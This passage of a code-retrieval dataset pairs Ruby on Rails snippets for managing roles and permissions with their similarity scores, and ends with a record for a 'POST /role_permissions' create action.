"def user_permissions(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"users/#{id}/permissions\", params)\n end",
"def get_permissions\n permissions = Hash.new\n permissions[:CanEditAllTeams] = 1\n permissions[:CanEditAllPlayers] = 2\n permissions[:CanEditAllSeasons] = 3\n permissions[:CanEditAllDivisions] = 4\n permissions[:CanEditAllRatings] = 5\n permissions[:CanEditAllRoles] = 6\n permissions[:CanEditAllPermissions] = 7\n permissions[:CanImport] = 8\n permissions[:CanApproveRatings] = 10\n @permissions = permissions\n end",
"def list_permissions_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RolesAPI.list_permissions ...'\n end\n # resource path\n local_var_path = '/api/v2/permissions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'PermissionsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :list_permissions,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RolesAPI#list_permissions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def permissions\n\t\tauthorize @user\n\t\t@permissions = []\n\t\tonly_theirs = \"Only theirs\"\n\t\tyes = \"Yes\"\n\t\tno = \"No\"\n\t\tnames = [\"View positions\", \"Create positions\", \"Edit positions\", \"Delete positions\",\n\t\t \"Apply\", \"View applications\", \"Edit applications\", \"Delete applications\",\n\t\t \"Change application submission status\"]\n\t\tadmin_permissions = [yes, yes, yes, yes, yes, \"All\", yes, yes, yes]\n\t\tmod_permissions = [yes, no, yes, no, yes, \"All but incomplete\", only_theirs, only_theirs, yes]\n\t\tuser_permissions = [yes, no, no, no, yes, only_theirs, only_theirs, only_theirs, no]\n\t\tnames.each_with_index do |permission, index|\n\t\t\t@permissions << { name: names[index], admin: admin_permissions[index], mod: mod_permissions[index], user: user_permissions[index]}\n\t\tend\n\n @title = 'Permissions'\n\tend",
"def set_rolepermission\n @rolepermission = Rolepermission.find(params[:id])\n end",
"def test_iam_permissions *permissions\n ensure_service!\n grpc = service.test_table_permissions instance_id, name, permissions.flatten\n grpc.permissions.to_a\n end",
"def create\n @role = Role.new(role_params) \n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permissions = {}",
"def permissions( force_reload = false )\n\n # Two levels of joins here, so can't use has_many :through\n if force_reload\n @permissions = nil \n @permissions_by_class_and_op = {}\n end\n\n cond_str = 'role_id in ' + self.class.role_assigned_cond( '?' )\n if !instance_variable_defined?(\"@permissions\") || @permissions.nil?\n @permissions ||= Permission.where([cond_str, self]).to_a\n end\n\n return @permissions\n end",
"def show\n @permission_resource = PermissionResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @permission_resource }\n end\n end",
"def new\n @lab_permissions_role = LabPermissionsRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end",
"def index\n authorize Role\n @roles = Role.all\n end",
"def index\n @permissionviewroles = Permissionviewrole.all\n end",
"def show\n @permissionviews = Permissionview.all\n @roles = Role.all\n end",
"def index\n @permissions = Permission.all\n @page_title = I18n.t(:permissions_list_header)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @permissions }\n end\n end",
"def index\n @role_permisions = RolePermision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @role_permisions }\n end\n end",
"def call(path: nil)\n endpoint = '/api/rest/v1/permissions.json'\n endpoint = \"#{endpoint}?path=#{ERB::Util.url_encode(path)}\" unless path.nil?\n res = client.get(endpoint)\n\n res.map { |i| BrickFTP::Types::Permission.new(**i.symbolize_keys) }\n end",
"def existing_permissions(role)\n role.permissions.where.not(action: CardPermissions::STATELESS_ACTIONS).where.not(filter_by_card_id: nil)\n end",
"def update\n respond_to do |format|\n if @role_permission.update(role_permission_params)\n format.html { redirect_to @role_permission, notice: 'Role permission was successfully updated.' }\n format.json { render :show, status: :ok, location: @role_permission }\n else\n format.html { render :edit }\n format.json { render json: @role_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role_permission = RolePermission.find(params[:id])\n respond_to do |format|\n if @role_permission.update_attributes(params[:role_permission])\n format.html { index_helper render :action => 'index' }\n format.json { head :ok }\n else\n\n format.html { render action: \"edit\" }\n format.json { render json: @role_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permissions_for(game)\n self.permissions.where(\"user_roles.game_id = ?\", game.id)\n end",
"def attributes\n permissions.select { |k, v| v.present? }.as_json\n end",
"def permissions=(value)\n @permissions = value\n end",
"def index\n @permissions = Permission.find(:all)\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.xml { render :xml => @permissions }\n\t\tend\n end",
"def GetRole id\n\n APICall(path: \"custom_roles/#{id}.json\")\n\n end",
"def show\n @permission = Permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json =>@permission }\n end\n end",
"def list_role_permissions_with_http_info(role_id, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RolesAPI.list_role_permissions ...'\n end\n # verify the required parameter 'role_id' is set\n if @api_client.config.client_side_validation && role_id.nil?\n fail ArgumentError, \"Missing the required parameter 'role_id' when calling RolesAPI.list_role_permissions\"\n end\n # resource path\n local_var_path = '/api/v2/roles/{role_id}/permissions'.sub('{role_id}', CGI.escape(role_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'PermissionsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :list_role_permissions,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RolesAPI#list_role_permissions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def rolepermission_params\n params.fetch(:rolepermission, {})\n end",
"def role_params\n params.require(:role).permit(:name, :permission_ids => [])\n end",
"def permissions(options: {})\n Permissions.new(fetch(\n path: Permissions::PATH.call(id),\n options: options\n )).permissions\n end",
"def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end",
"def index\n @permissions = Permission.all\n\n #read permissions from yaml file\n read_permissions\n \n @domains = Domain.find(:all, :conditions => { :is_role => 1 })\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @permissions }\n end\n end",
"def index\n @permissions = Permission.all\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @permissions.to_xml }\n end\n end",
"def create\n submenu_item 'role_new'\n load_permissions\n ids=params[:permissions].select{|k,v| v=='1'}.map { |k,v| k.to_i } unless params[:permissions].nil?\n if ids.length > 0\n permissions=Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n params[:role][:permissions] = permissions\n @role = Role.new(params[:role])\n if @role.save\n flash[:notice] = \"创建角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = \"创建角色失败\"\n render :action => 'new'\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'new'\n end\n\n end",
"def role_permission_params\n params.fetch(:role_permission, {}).permit(:role_id, :permission_id)\n end",
"def permission\n return @children['permission'][:value]\n end",
"def show\n success = false;\n error = \"Resource not available.\"\n permissions = nil\n\n if params.key?(:id)\n permissions = ProjectPermission.find_by(id: params[:id])\n if permissions\n project = permissions.project\n success = (project and user_can_access_project(project.id, [:can_view]))\n end\n end\n\n if success\n render json: permissions, serializer: ProjectPermissionSerializer,\n root: \"permissions\"\n else\n render_error error\n end\n end",
"def update\n respond_to do |format|\n if @rolepermission.update(rolepermission_params)\n format.html { redirect_to @rolepermission, notice: 'Rolepermission was successfully updated.' }\n format.json { render :show, status: :ok, location: @rolepermission }\n else\n format.html { render :edit }\n format.json { render json: @rolepermission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\t\t@all_permissions = Lockdown::System.permissions_assignable_for_user(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def permissions\n User.do_find_permissions session_id: kb_session_id\n end",
"def test_permissions *permissions\n permissions = Array(permissions).flatten\n permissions = Array(permissions).flatten\n ensure_service!\n grpc = service.test_instance_permissions path, permissions\n grpc.permissions\n end",
"def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end",
"def permission_keys\n return @permission_keys if @permission_keys\n\n role_keys = if role(true)\n role_key = \"#{role.cache_key}/permissions\"\n\n keys = Rails.cache.fetch(role_key) do\n role.permission_keys.clone\n end\n\n Rails.cache.write(role_key, keys)\n keys\n else\n []\n end\n\n user_keys = Rails.cache.fetch(permissions_cache_key) do\n user_permission_keys.clone\n end\n\n user_keys = [] unless user_keys\n\n Rails.cache.write(permissions_cache_key, keys) unless new_record?\n\n @permission_keys = (role_keys + user_keys).uniq\n end",
"def destroy\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n @roles_and_permission.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_and_permissions_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.78743994",
"0.7417906",
"0.7400819",
"0.7365946",
"0.7365749",
"0.73462176",
"0.72603685",
"0.7228223",
"0.71156067",
"0.71040523",
"0.7083756",
"0.7076414",
"0.7024793",
"0.7008309",
"0.69937366",
"0.69722027",
"0.6940789",
"0.69049615",
"0.68813884",
"0.6838774",
"0.6809927",
"0.67778164",
"0.67778164",
"0.67750037",
"0.67429876",
"0.6711302",
"0.6710714",
"0.66961545",
"0.6695715",
"0.66917485",
"0.667544",
"0.66748667",
"0.66731447",
"0.66391796",
"0.66144913",
"0.65586823",
"0.65586823",
"0.6557387",
"0.65541047",
"0.6541146",
"0.65376365",
"0.6503057",
"0.64782",
"0.64770466",
"0.6468934",
"0.64677",
"0.6447673",
"0.6435416",
"0.6434049",
"0.6421396",
"0.6421396",
"0.6418073",
"0.6407734",
"0.64026564",
"0.64000434",
"0.63901395",
"0.6384522",
"0.63796234",
"0.6378976",
"0.6378976",
"0.63762754",
"0.6358612",
"0.6335851",
"0.63321507",
"0.63264406",
"0.63225466",
"0.6307382",
"0.6302123",
"0.63000053",
"0.62789327",
"0.6277587",
"0.6271765",
"0.626379",
"0.6255069",
"0.6236236",
"0.62293726",
"0.6207736",
"0.6207321",
"0.61907285",
"0.6174997",
"0.61668134",
"0.6166104",
"0.6157584",
"0.61527747",
"0.6136687",
"0.61337954",
"0.613065",
"0.61249983",
"0.61225235",
"0.6112917",
"0.61099744",
"0.610936",
"0.6107874",
"0.60899335",
"0.60705155",
"0.60547274",
"0.6049335",
"0.602657",
"0.6025382",
"0.60245675",
"0.6023075"
] | 0.0 | -1 |
POST /role_permissions POST /role_permissions.json | def create
@role_permission = RolePermission.new(role_permission_params)
respond_to do |format|
if @role_permission.save
format.html { redirect_to @role_permission, notice: 'Role permission was successfully created.' }
format.json { render :show, status: :created, location: @role_permission }
else
format.html { render :new }
format.json { render json: @role_permission.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @role = Role.new(role_params) \n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def role_permissions=(value)\n @role_permissions = value\n end",
"def update\n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def role_params\n params.require(:role).permit(:name, :permission_ids => [])\n end",
"def create\n\n @roles_and_permission = @roles.roles_and_permission.new(params[:roles_and_permission])\n \n respond_to do |format|\n if @roles_and_permission.save\n format.html { redirect_to [@roles, @roles_and_permission ], notice: 'Roles and permission was successfully created.' }\n format.json { render json: @roles_and_permission, status: :created, location: @roles_and_permission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @roles_and_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_permissions\r\n @role = Role.find(params[:id])\r\n end",
"def create\n submenu_item 'role_new'\n load_permissions\n ids=params[:permissions].select{|k,v| v=='1'}.map { |k,v| k.to_i } unless params[:permissions].nil?\n if ids.length > 0\n permissions=Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n params[:role][:permissions] = permissions\n @role = Role.new(params[:role])\n if @role.save\n flash[:notice] = \"创建角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = \"创建角色失败\"\n render :action => 'new'\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'new'\n end\n\n end",
"def add_role_permissions(permissions_model, role)\n if permissions_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('permissions_model')\n end\n if isNullOrWhiteSpace(role)\n raise LoginRadius::Error.new, getValidationMessage('role')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role/' + role + '/permission'\n put_request(resource_path, query_parameters, permissions_model)\n end",
"def create(role:, type:, permissions: [], pattern: nil)\n\t\t\t\t\tconnection.post(build_path('addRole'), nil, roleName: role, type: type,\n\t\t\t\t\t\tpermissionIds: (permissions || []).join(','), pattern: pattern, overwrite: false).\n\t\t\t\t\t\tcode == '200'\n\t\t\t\tend",
"def role_permission_params\n params.require(:role_permission).permit(:role_id, :permission_id, :hierarchy_id, :hierarchy_type)\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role_permission = RolePermission.new(params[:role_permission])\n respond_to do |format|\n if @role_permission.save\n format.html { index_helper render :action => 'index' }\n format.json { render json: @role_permission, status: :created, location: @role_permission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lab_permissions_role = LabPermissionsRole.new(params[:lab_permissions_role])\n\n respond_to do |format|\n if @lab_permissions_role.save\n format.html { redirect_to @lab_permissions_role, notice: 'Lab permissions role was successfully created.' }\n format.json { render json: @lab_permissions_role, status: :created, location: @lab_permissions_role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lab_permissions_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def role_permission_params\n params.fetch(:role_permission, {}).permit(:role_id, :permission_id)\n end",
"def post_role(role)\n role = {\n \"id\"=>nil,\n \"name\"=>nil, \n \"description\"=>\"\", \n \"sessionTimeout\"=>\"60\",\n \"roles\"=>[],\n \"privileges\"=>[]\n }.merge(role);\n post(\"#{url_base}/roles\", {\"data\"=>role})[\"data\"]\n end",
"def update\n load_permissions\n ids = params[:permissions].select {|k, v| v == \"1\"}.map {|k,v| k.to_i }\n if ids.length > 0\n permissions = Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n @role = Role.find(params[:id])\n params[:role][:permissions] = permissions\n if @role.update_attributes(params[:role])\n flash[:notice] = \"修改角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = '修改角色失败'\n redirect_to :action => 'edit', :id => @role.id\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'edit', :id => @role.id\n end\n end",
"def create\n @role = Role.new(role_params)\n\n # create a Array of action object from each line from table\n respond_to do |format|\n if @role.save\n @i = 0;\n @role.permissions = params[:role][:permission].values.map do |action_p|\n @p = Permission.new(action_p)\n if @p.new || @p.edit || @p.remove then @p.index = true end\n @p.session = @i\n @i = @i + 1\n @p\n end\n @role.save\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :created }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if !grant_access(\"edit_roles\", current_user)\n head(403)\n end\n @role = Role.new(role_params)\n @role.user_id = current_user.id\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n abilities = []\n client_application = current_user.client_application_id.to_s\n @abilities = Role.get_method_names.sort\n @role = Role.new(role_params)\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n @role.client_application_id = client_application\n respond_to do |format|\n if @role.save\n format.html { redirect_to roles_path, notice: 'Role was successfully created.' }\n format.json { render :index, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n \n respond_to do |format|\n if @role.save\n flash[:notice] = 'Role was successfully created.'\n format.xml { render :xml => @role, :status => :created, :location => @role }\n format.js #create.js.rjs\n else\n @possible_permissions = Permission.by_category(@role.category)\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n format.js #create.js.rjs\n end\n end\n end",
"def save_permissions\n\t\t\tgroup = SystemGroup.find params[:id]\n\n\t\t\tresult = group.save_permissions params[:permission_ids]\n\n\t\t\trender json: result\n\t\tend",
"def create\n @permission = Permission.new(params[:permission])\n\n respond_to do |format|\n if @permission.save\n format.html { redirect_to roles_path, :notice => \"Permissão #{@permission.name} criada com sucesso.\" }\n format.json { render json =>@permission, status =>:created, location =>@permission }\n else\n format.html { render :action =>\"new\" }\n format.json { render json =>@permission.errors, status =>:unprocessable_entity }\n end\n end\n end",
"def save_permissions(role_ids)\n permissions.map{|perm| perm.delete } unless permissions.nil?\n unless role_ids.nil?\n role_ids.each do |permission| \n p = Permission.new(JSON.parse(permission))\n (p.class.reflect_on_all_associations(:has_many) & p.class.reflect_on_all_associations(:has_and_belongs_to_many)).each { |association|\n permissions << Permission.new(\n :role_id => id,\n :controller => association.class_name.singularize,\n :ability => p.ability\n )\n }\n permissions << p\n end\n end\n end",
"def role_params\n params.require(:role).permit(:name, :active_status, :comment, :user_id, :del_status, :permissions => [])\n end",
"def update\n @role = Role.find(params[:id])\n \n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: t(:role_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @permissionviewrole = Permissionviewrole.new(permissionviewrole_params)\n\n respond_to do |format|\n if @permissionviewrole.save\n format.html { redirect_to @permissionviewrole, notice: 'Permissionviewrole was successfully created.' }\n format.json { render :show, status: :created, location: @permissionviewrole }\n else\n format.html { render :new }\n format.json { render json: @permissionviewrole.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_role_permissions(role_id, permissions)\n raise Auth0::MissingParameter, 'Must supply a valid role_id' if role_id.to_s.empty?\n\n permissions = validate_permissions_array(permissions)\n post \"#{roles_path}/#{role_id}/permissions\", permissions: permissions\n end",
"def create_role(name, perms=nil)\n perms ||= []\n role = {\n :name => name,\n :permissions => perms,\n }\n post(\"/roles\", role)\n end",
"def CreateRole params = {}\n \n APICall(path: 'custom_roles.json',method: 'POST',payload: params.to_json)\n \n end",
"def index\n @role_permissions = RolePermission.all\n end",
"def add_permission( value, type, role )\n new_permission = @connection.drive.permissions.insert.request_schema.new({\n 'value' => value, # '[email protected]',\n 'type' => type, # 'group',\n 'role' => role, #'reader' \n })\n\n result = @connection.client.execute(\n :api_method => @connection.drive.permissions.insert,\n :body_object => new_permission,\n :parameters => { 'fileId' => @google_file.data.id })\n end",
"def create\n @role_permision = RolePermision.new(params[:role_permision])\n\n respond_to do |format|\n if @role_permision.save\n format.html { redirect_to @role_permision, notice: 'Role permision was successfully created.' }\n format.json { render json: @role_permision, status: :created, location: @role_permision }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role_permision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n \n @roles_and_permission = @roles.roles_and_permission.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def index\n @rolepermissions = Rolepermission.all\n end",
"def create\n return unless check_permission\n\n @role = Role.new(role_params)\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n else\n @users = User.all\n format.html { render :new }\n end\n end\n end",
"def admin_permissions\n {\n id: 1,\n appendable_permissions: [\n { permission_type: 'basic' },\n { permission_type: 'admin' }\n ]\n }\n end",
"def role\n permission_type\n end",
"def rolepermission_params\n params.fetch(:rolepermission, {})\n end",
"def create_permission(attributes)\n BrickFTP::API::Permission.create(attributes)\n end",
"def create_permission(attributes)\n BrickFTP::API::Permission.create(attributes)\n end",
"def permissions\n Roles.type_map[role_type].permissions\n end",
"def index\n index_helper\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @role_permissions }\n end\n end",
"def create\n @role = Role.new(role_params)\n\n respond_to do |format|\n if role.save\n current_user.add_role :admin, role\n format.html { redirect_to admin_role_path(role), notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: role }\n else\n format.html { render :new }\n format.json { render json: role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_permissions *permissions\n permissions = Array(permissions).flatten\n permissions = Array(permissions).flatten\n ensure_service!\n grpc = service.test_instance_permissions path, permissions\n grpc.permissions\n end",
"def set_rolepermission\n @rolepermission = Rolepermission.find(params[:id])\n end",
"def create\n \n if request.get?\n @role = Role.new\n else\n @role = Role.new(params[:role])\n\n # assign parent role\n if not params[:role][:parent].to_s.empty?\n @role.parent = Role.find(params[:role][:parent].to_i)\n end\n\n if @role.save\n # set the roles's static permissions to the static permission from the parameters \n params[:role][:static_permissions] = [] if params[:role][:static_permissions].nil?\n @role.static_permissions = params[:role][:static_permissions].collect { |i| StaticPermission.find(i) }\n\n # the above should be successful if we reach here; otherwise we \n # have an exception and reach the rescue block below\n flash[:success] = 'Role has been created successfully.'\n redirect_to :action => 'show', :id => @role.id\n else\n render :action => 'create'\n end\n end\n \n rescue ActiveRecord::RecordNotFound\n flash[:error] = 'You sent an invalid request.'\n redirect_to :action => 'list'\n end",
"def custom_permissions\n can [:create], Account\n end",
"def custom_permissions\n can [:create], Account\n end",
"def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def create\n @role = Role.new role_params\n authorize @role\n flash.now[:notice] = 'Role was successfully created.' if @role.save\n respond_with @role\n end",
"def create_user_permissions\n group.users.each do |user|\n create_permission_for(user)\n end\n end",
"def update\n respond_to do |format|\n if @role_permission.update(role_permission_params)\n format.html { redirect_to @role_permission, notice: 'Role permission was successfully updated.' }\n format.json { render :show, status: :ok, location: @role_permission }\n else\n format.html { render :edit }\n format.json { render json: @role_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permissions=(value)\n @permissions = value\n end",
"def create_permissions\n # initial_step is a controller action on some resources for creation...\n if user_groups.include?(HYHULL_USER_GROUPS[:content_creator]) || \n user_groups.include?(HYHULL_USER_GROUPS[:content_access_team]) || \n @current_user.admin?\n can [:initial_step, :create], :all\n end\n\n end",
"def test_iam_permissions request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, _query_string_params = transcode_test_iam_permissions_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::TestPermissionsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"def check_permissions\n authorize! :create, CargoManifest\n end",
"def permits=(permissions)\n # make a copy!\n @permissions = {}.merge(permissions)\n end",
"def permits=(permissions)\n # make a copy!\n @permissions = {}.merge(permissions)\n end",
"def grant_roles_permitted?(role)\n grant_roles_permitted.include?(role)\n end",
"def load_permissions \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]} \n end",
"def add_permission(permission) \n self.permissions << permission\n end",
"def permissions\n if @permissions.nil?\n perm_array = []\n roles.each { |r| perm_array << r.permission_ids }\n @permissions = perm_array.flatten.uniq\n else\n @permissions\n end\n end",
"def all_permissions\n return permissions unless role\n (permissions + role.permissions).uniq\n end",
"def role_permissions\n return @role_permissions\n end",
"def show\n @permissions = @role.permissions\n end",
"def create\n @roles_privilege = RolesPrivilege.new(roles_privilege_params)\n\n respond_to do |format|\n if @roles_privilege.save\n format.html { redirect_to @roles_privilege, notice: 'Roles privilege was successfully created.' }\n format.json { render :show, status: :created, location: @roles_privilege }\n else\n format.html { render :new }\n format.json { render json: @roles_privilege.errors, status: :unprocessable_entity }\n end\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end",
"def update\n respond_to do |format|\n if @rolepermission.update(rolepermission_params)\n format.html { redirect_to @rolepermission, notice: 'Rolepermission was successfully updated.' }\n format.json { render :show, status: :ok, location: @rolepermission }\n else\n format.html { render :edit }\n format.json { render json: @rolepermission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permissionviewrole_params\n params.require(:permissionviewrole).permit(:permissionview_id, :role_id)\n end",
"def permission_resources\n %w{roles sites employees classrooms students gapps_org_units}\n end",
"def save_roles user\n user.add_role(params[:role_name])\n end",
"def create\n @role = Role.new(params[:role])\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to admin_roles_path, notice: 'Role was successfully created.' }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
